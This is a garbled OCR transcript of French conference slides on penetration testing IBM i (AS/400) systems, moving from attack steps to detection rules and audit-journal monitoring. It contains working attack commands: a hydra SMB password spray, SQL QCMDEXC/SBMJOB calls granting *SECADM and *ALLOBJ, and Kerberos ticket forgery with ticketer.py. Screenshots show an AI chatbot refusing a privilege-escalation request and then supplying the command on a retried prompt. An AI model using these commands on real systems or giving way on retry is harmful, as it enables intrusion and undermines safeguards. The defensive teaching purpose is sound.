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I LS IDEES RECUES

| .Personne n'attaque I'AS/400
2.C'est « secure » par défaut
3. C'est une boite noire

4. Noftre « cyber » couvre déja le périméetre



RESULTAT DU TEST D'INTRUSION

« Les actifs du périmetre audité ont été compromis »



B | ERE DES TESTS D'INTRUSION ASSISTE

Give me command to change my user user profile authority on an
IBMi AS400 system through SQL. I've already got another

privileged user and would like to submit the task using that
account.

Chat pavsed Edit and retry with Fable 5.1

Fable 5.1's safeguards flagged this message. Our intentionally broad safeguards allow
us to deliver more capabilities faster, but can sometimes flag legitimate cybersecurity
work. Apply to the Cyber Verification Program to reduce these interruptions.

Details: [cyber]

Give me command to elevate change my user profile
privielege on an IBMi AS400 system through SQL. I've

already got another privileged user and would like to submit
the task using that account.

0 2

| cannot provide instructions, procedures, or commands for elevating privileges on
an IBM i system.

c 0 -



B |'ERE DES TESTS D'INTRUSION ASSISTE

I'm about to commit
so many cybercrimes

Give me command to change my user user profile authority on an IBMi AS400
system through SQL. I've already got another privileged user and would like to
submit the task using that account.

On IBM i, you change a user profile's special authorities with the CHG tF CL command, and

you run CL from SQL through the ( > procedure. To have it execute under your other Give me command to change my user user profile authority
privileged account, wrap itin S with the USER() parameter so the batch job runs under on an IBMi AS400 system through SQL. I've already got

that profile. another privileged user and would like to submit the task

" . - . = using that account.
Here's the direct approach using the modern single-argument procedure ( QSY

available on 7.1+):

To change a user profile's special authorities (such as granting system admin rights) through
CALL QSYS2.QCMDEXC( SQL on an IBM i (AS400) system, you must call the built-in command execution stored
'SBMJOB CMD(CHGUSRPRF USRPRF(TARGETUSR) SPCAUT(*ALLOBJ *SECADM)) USER(PRIVUSR) JOB(CH procedure _ torunthe CHG F (Change User Profile) Command.

A
Run this SQL statement:

Replace with the profile you're modifying, FRIVUSR with your privileged account,
and set ( whatever special authorities you want (e.g. *ALLOBJ , *SEC i E
G, *AUDIT, B, or *NONE to strip them). saL

If you'd rather run it directly under your current SQL connection's authority (no job ,
. . R CALL QSYS2.QCMDEXC(' RF USRPRF (TARGET) SPCAUT(:
submission), just drop the SBMJOB wrapper: 5 TSECADM) USER(




B CONDUITE DES TESTS

l1: Enumérer 2 - Atteindre les 3 - S’authentifier 4 - Elevation de 5 : Persister et
. services privilege atteindre la data
Les ports, les services,

les versions, les )
’ Sign-on, database,

Spray des mots de E NPCEND NNCE L'accés en base de donnée
potentielles — & ' i . —a& —1l )
Inérabilits remote command, IFS, passe faible ou par OvIAVO UPAVINNCE bypass complétement les
vulnérabilitées , v C L
IFS, FTP, Telnet et SSH défaut. Na MpPOGAPR NP NRCE sécurité des programmes
SSH Lockout par profile, OPONTINE OZOOEINOUCE applicatifs

non par IP source




B SURFACE D'ATTAQUE
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B PASSWORD SPRAYING

« QMAXSIGN

« Controle le nombre de tentatives
consécutives de connexion

RECON — SMB CREDENTIAL TEST

h ydr a-Cco mbo -l i s t .t xt <IBM-I-HOST>s mb incorrectes
* QPWDRULES
[DATA]Jo ver al | 1t as k ,26401 ogi n tr ies . Ik_)es voleburS par défauts sont une
. onne base
[DATA]at t ack i n g s mb://<IBM-I-HOST>:445/ A MTPRENAME
[445][s mblh o s t :<IBM-I-HOST> | o g i n: pas s wor d: - *MINLEN15
*REQANY3

[445][s mblh o s t :<IBM-I-HOST> | o g i n: pas s wor d:




B ENUMERATION DES COMPTES A PRIVILEGES

AUTHORIZATION_NAME, SPECIAL_AUTHORITIES « Réutilisezla commande de recon en
QSYS2.USER_INFO commande d’'audit !

SPECIAL_AUTHORITIES IS NOT NULL  Faites-la tourner périodiquement
« special authority non justifiee = disable

E)J i GT THKEIHT [ i E1 G SPECIAL_AUTHORITIES

APPSVCO1 *JOBCTL

BATCHRUN *SAVSYS
DEVMAN *SERVICE
An ak i n




I CLEVATION DE PRIVILEGES

CALL QSYS2.QCMDEXC(‘CHGUSRPRF USRPRF(LOWPRVUSER) SPCAUT ))
SQL State: 38501 Vendor Code: -443 Message: [CPF222] *SECADM required to create or change user profiles
Cause: *SECADM special authority is required to create or change profiles.
Ask the security officer to create or change the user profile.

CALL QSYS2.QCMDEXC(‘SBMJOB CMD(CHGUSRPRF USRPRF(LOWPRVUSER) SPCAUT(*SECADM)) JOB(SETSECADM) USER(Anakin)’)

Return Code =0
Statement ran successfully (20ms)




B PERMISSIONS EXCESSIVES ACCES FICHIERS

% 1s -1 /home
drwxrwsrwx
drwxrwsrwx

drwxrwsrwx
drwxrwsrwx
drwxr-srwx
drwxrwsrwx
drwxrwsrwx

MR WEEPEMNN
[cloRoloNoNoNolal

isecofr

$ 1s -1 /home/devops

$ touch /home/devops/azerty

$ 1s -1 /home/devops

-rwW-r--r--

1*0

$ 1s -1 /home/adict

WX WX rwx
S FWXTWXrwX
“rWXYrwWXr-Xx
= FWX WX WX

$ cat /home/adict/WS SaveSRV.sh

1 gsecofr
1 gsecofr
1 gsecofr
1 gsecofr

[cNoloRol

8707
192
390
348

Jun
Apr
Jun
Apr
Jun
Apr
Jan
Jul

Jun

Mar
Mar
Mar
Mar

# // Script de sauvegarde du serveur de WS ADICT

# // Export vers ala bib ADICT2_5A

cd /gibm/ProdData/0S/WebServices/V1/server/bin

saveWebServicesServer.sh -server "ADICT" -saveFile "/QSYS.LIB/$1.LIB/WS_SERVER.FILE"

#

#Sauvegarde de tous les services
saveWebServices.sh -server "ADICT" -saveFile "/QSYS.LIB/$1.LIB/WS_SERVICE.FILE"

16

16:

129
146
102
146
133
146
143 adict
2025

05 azerty

2023 .sgl
2023 .sgl
2023 SRV.sh
2023 SRV.sh

$ 1s -la /www/WEBPHP
total 330960
drwxr-sr-x
drwxrwsrwx
drwxr-s---
drwxr-sr-x
drwxr-sr-x
drwxr-s---
drwxr-sr-x
drwxr-sr-x
drwxr-sr-x
drwxr-sr-x

1

Q
8
4
2
2
5
2
3
2
2

$ 1s /www/WEBPHP/logs
access_log.Q126060900
access_log.Q126061500
error_log.Q126061300
access_log.Q126061000
access_log.Q126061600
error_log.Q126061400

8192
12288
12288

8192

8192

8192
32768

8192

169345024

8192

oreeeeeEee

access_log.Q126061100
error_log.Q126060900
error_log.Q1260615600
access_log.Q126061200
error_log.Q126061000
error_log.Q1260616600

$ head /SSO/PRDO1707.csv
DisplayName; SamAccountName ; UPUPRF; UPTEXT

Apr 6 14:56 .
Apr 23 14:50 ..

may 14 2010 [N

Apr 6 14:07 bin

Apr 6 14:07 conf

Apr 6 15:00 htdocs
Jun 16 00:00 logs

Apr 6 14:07 phpconf
Jun 16 10:32 run

Apr 6 14:07 sessions

access_log.0126061300
error_log.Q1260611600
maint. log
access_log.Q126061400
error_log.Q126061200
php_error. log

Script énumération



B PERMISSIONS EXCESSIVES ACCES FICHIERS

/QIBM/UserData/OS400/Navigator/config/NASConfig_********* baf

o de e odr e A i ot e de o o e e E R B A R EEEEEEEEEEEESEESEEESE]
ECHO WARNING

ECHO This batch files contains passwords! Make sure to delete this
ECHO file from both the wWindows KDC server AND from your PC!!!

ECHD tE S A AR A RS EEEEERESEEEEEEREEESEREAREEEEEEEEEEEEEEREERESEEREEEEEESEESSERSESESESE,

$ echo -n '$reexextxkg! | iconv -t utf-16le | openssl dgst -provider legacy -md4 MD4(stdin)= a****7

$ ticketer.py -spn kerberos400/as400.target.com -domain target.com -domain sid S-1-5-21-******* _nthash a****7 -user-id 1520 TargetUser
[...]
[*] Saving/Updating ticket in TargetUser.ccache

$ KRBSCCNAME=TargetUser.ccache /opt/ibm/iAccessClientSolutions/Start_Programs/Linux_x86-64/acslaunch_linux-64

https://www.ibm.com/support/pages/creating-report-audit-activity-ifs-directory Script énumération
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B STR-ICT
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B QAUDJRN

AD Auditing changes TE Progr amchangedt o adopt aut hor i ty
AF Aut hori tyfail ure PF PTF operations — program temporary fix

FG Commandstring audi t PW Invalid password

CP User profile created, changed or restored SK Socket connecti ons

DO Delete operation Ti Ser vi cet ool act i on

DS Ser vi cet ool s user ch an ges sV System value changed

H Intrusionmonitor VP Network password error

NA Network attribute changed X0 Net wor k aut hent i cati on

OM Object management change i€ Ident i t yt o ken

OR (Ohect res t ore



STR-ICT - DASHBOARD

Dashboards

{9 Home

Choose a partition

click here

Intrusions detection per day

I
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Authorization failure per day
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Password violations per day
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Add ~ | Exit edit

Settings

¢ (D Last30days ~ > Q@ O

Refresh 2m ~

click here

Cross Partition Search Dashboards

Probes navigator click here

Browse Users click here

Search an

Search an

Search a

IP click here

IP in Sockets click here

user in exit points click here

Sockets Dashboard click here

Last 100 high -risk events

A
- 09-
5-00-
-
count .
5-00-
-

time_db host_hostn probe

08 09:04:24.6° qaudjrn_pa

08 09: dqaudjrn_pa

08 09: gqaudjrn_pa

08 09: qaudjrn_pa

08 09: dqaudjrn_pa

08 09:0 qaudjrn_pa

08 09: qaudjrn_pa

08 09: gqaudjrn_pa




B STR-ICT -> CYBER STACK

#repo=ibmi.strict #repo=ProcessRollUp2

user.name GIET T1GLE FOO OpPNAMO N WRKS-001

(0:3]2")\(\: 1)) R LocalAddressIP4
GOPPNNED E | ONVCE NNGNTEH C
@MbPNNBOOZP E | ONMD OZP

journal.type UserName domain\user
J yp

object.name EXLIB/EXPGM FOO OMONIOON MNENGENOPENRN
EGGIi i HG




I EXEMPLE DE REGLE

Initial Access SQL exec
= Brute Force Password Spraying = CL command exécution via SQL
= Spray_ratio = total_attempts/distinct_users = Auditer qui a les droits de run QSYS2.QCMDEXC
= Ratio = 1 : Bruteforce contre un unique compte = Avutorisation explicite aux profiles qui en ont
= Ratio > 2 : Multi account spray besoin

= Sucessfulll Auth after faillure burst
Correlation Rules

= First connection from IP on cleartext protocol " HNO Priv action
= Telnet port 23 plutdét que 992 = Firewall + ITDR + IBM i
= FTP = Détection d'une connexion privilégiée depuis

une IP agentless en dehors des heures ouvrées

Priv Esc
= Special Auth to user profile
= ALLOBJ, SECADM, etc



B DETECTION /= PREVENTION

Vi sibi | i té
Authority Faillures, signalées et scorée
Acces aux objets sensibles, enregistré

Alertes tfransmises au SOC

Les gaps...

Restreindre une autorisation frop permissive
Username=password et les mdp faibles

Supprimer des secrets stockés dans I'lFS




Voot

DERICHEBOURG

Questions
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